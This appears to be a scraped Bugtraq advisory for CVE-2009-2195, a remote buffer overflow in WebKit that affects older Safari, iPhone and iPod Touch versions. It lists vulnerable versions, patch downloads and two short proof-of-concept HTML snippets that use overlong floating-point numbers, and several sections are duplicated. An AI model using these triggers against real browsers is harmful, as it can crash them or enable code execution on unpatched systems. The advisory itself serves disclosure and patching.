WebKit Floating Point Number Remote Buffer Overflow Vulnerability
BID:36023
Info
WebKit Floating Point Number Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 36023 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2009-2195 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 11 2009 12:00AM |
| Updated: | Jun 21 2010 10:28PM |
| Credit: | Apple |
| Vulnerable: |
Apple Safari 4.0.2 for Windows Apple Safari 4.0.2 Apple Safari 4.0.1 Apple Safari 3.2.3 for Windows Apple Safari 3.2.3 Apple Safari 3.2.2 for Windows Apple Safari 3.1.2 for Windows Apple Safari 3.1.2 Apple Safari 3.1.1 for Windows Apple Safari 3.1.1 Apple Safari 3.0.4 Beta for Windows Apple Safari 3.0.3 Beta for Windows Apple Safari 3.0.3 Beta Apple Safari 3.0.2 Beta for Windows Apple Safari 3.0.2 Beta Apple Safari 3.0.1 Beta for Windows Apple Safari 3.0.1 Beta Apple Safari 4 for Windows Apple Safari 4 Beta Apple Safari 4 Apple Safari 3.2 Apple Safari 3.1 for Windows Apple Safari 3.1 Apple Safari 3 Beta for Windows Apple Safari 3 Beta Apple Safari 3 Apple iPod Touch 3.1.3 Apple iPod Touch 3.1.2 Apple iPod Touch 3.1.1 Apple iPod Touch 2.2.1 Apple iPod Touch 2.0.2 Apple iPod Touch 2.0.1 Apple iPod Touch 3.0 Apple iPod Touch 2.2 Apple iPod Touch 2.1 Apple iPod Touch 2.0 Apple iPhone 3.1.3 Apple iPhone 3.1.2 Apple iPhone 3.0.1 Apple iPhone 2.2.1 Apple iPhone 2.0.2 Apple iPhone 2.0.1 Apple iPhone 3.1 Apple iPhone 3.0 Apple iPhone 2.2 Apple iPhone 2.1 Apple iPhone 2.0 |
| Not Vulnerable: |
Apple Safari 4.0.3 for Windows Apple Safari 4.0.3 Apple iOS 4 |
Discussion
WebKit Floating Point Number Remote Buffer Overflow Vulnerability
WebKit is prone to a remote buffer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.
Versions prior to Apple Safari 4.0.3 are vulnerable; other applications using WebKit may also be affected.
WebKit is prone to a remote buffer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.
Versions prior to Apple Safari 4.0.3 are vulnerable; other applications using WebKit may also be affected.
Exploit / POC
WebKit Floating Point Number Remote Buffer Overflow Vulnerability
The following proofs of concept are available:
Example 1:
---------
<script>
var Overflow = "31337" + 0.313373133731337313373133731337...;
</script>
---------
Example 2:
---------
<img width=0.3133731337313373133731337... src="31337.jpg">
---------
The following proofs of concept are available:
Example 1:
---------
<script>
var Overflow = "31337" + 0.313373133731337313373133731337...;
</script>
---------
Example 2:
---------
<img width=0.3133731337313373133731337... src="31337.jpg">
---------
Solution / Fix
WebKit Floating Point Number Remote Buffer Overflow Vulnerability
Solution:
Updates are available. Please see the references for more information.
Apple Safari 4.0.2 for Windows
Apple Safari 4.0.2
Solution:
Updates are available. Please see the references for more information.
Apple Safari 4.0.2 for Windows
-
Apple SafariQuickTimeSetup-APPLE-SA-2009-08-11-1.exe
Safari+QuickTime for Windows XP or Vista
http://www.apple.com/safari/download/ -
Apple SafariSetup-APPLE-SA-2009-08-11-1.exe
Safari for Windows XP or Vista
http://www.apple.com/safari/download/
Apple Safari 4.0.2
-
Apple Safari4.0.3Leo.dmg
Safari for Mac OS X v10.5.7 and Mac OS X v10.5.8
http://www.apple.com/safari/download/ -
Apple Safari4.0.3Ti.dmg
Safari for Mac OS X v10.4.11
http://www.apple.com/safari/download/
References
WebKit Floating Point Number Remote Buffer Overflow Vulnerability
References:
References:
- Safari Homepage (Apple)
- WebKit Homepage (WebKit Open Source Project)
- Safari buffer overflow (Leon Juranic)